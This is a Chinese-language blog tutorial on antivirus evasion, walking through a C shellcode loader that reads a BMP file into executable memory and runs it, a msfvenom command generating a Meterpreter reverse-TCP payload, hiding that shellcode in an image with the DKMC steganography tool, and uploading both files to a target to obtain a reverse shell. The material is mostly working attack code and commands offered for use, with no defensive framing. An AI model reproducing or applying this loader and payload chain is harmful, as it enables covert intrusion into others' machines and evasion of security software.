【免杀】加载LSB隐写shellcode

参考资料:

  • B站yuppt【学习分享】分离免杀shellcode
  • #include《stdlib.h》作用
  • #include〈stdio.h〉有什么作用
  • C/C++文件读写操作——FILE*、fstream、windowsAPI
  • fseek函数
  • ftell函数
  • fread函数
  • VirtualAlloc的正确用法
  • 使用windows内存-VirtualAlloc
  • memcpy函数
  • C语法陷阱:理解((void()())0)()
  • Mr-Un1k0d3r大佬的LSB隐写项目 —— DKMC

一、shellcode加载器(获取图片里面的shellcode)

  • 使用编辑器进行编译生成shell.exe文件
#define _CRT_SECURE_NO_WARNINGS
// 编制WINDOWS窗口程序
#include 
// 标准库
#include 
// 标准输入输出
#include 

int main() {
    FILE* fp;  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
    size_t size;  // 定义文件字节数变量size
    unsigned char* buffer;  // 定义缓存指针变量

    fp = fopen("DKMC.bmp", "rb");
    // fseek()负号前移,正号后移
    fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾
    // ftell()返回给定流 stream 的当前文件位置
    size = ftell(fp);                // size值为文件大小
    fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头
    buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)

    fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据
    // 申请虚拟内存
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buffer, size);  // 从buffer复制size个字节到exec中
    // ((void(*)())x)将变量x转换为指向返回值为void的函数的指针类型
    // 所以这里exec变成了返回值为void的函数的函数名
    ((void(*) ())exec)();        // 执行图片中的shellcode

    return 0;
}

二、生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=4444 -f c -o ./shellcode.txt
  • 处理shellcode:清除双引号,将shellcode变成一行


    shellcode处理后

三、LSB图片隐写

  • 使用DKMC将shellcode隐写到bmp文件中

下载

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output 

使用

$ python dkmc.py
$ gen
$ set shellcode <刚刚生成的shellcode>
$ run
生成成功

四、执行获取目标反弹shell

  1. 开启监听
$ msfconsole -r win.rc
  1. 将编译好的shell.exe文件和生成的bmp文件上传到目标机器同一位置


    放在同一位置
  1. 执行shell.exe文件
  2. 成功获得反弹shell
success

你可能感兴趣的:(【免杀】加载LSB隐写shellcode)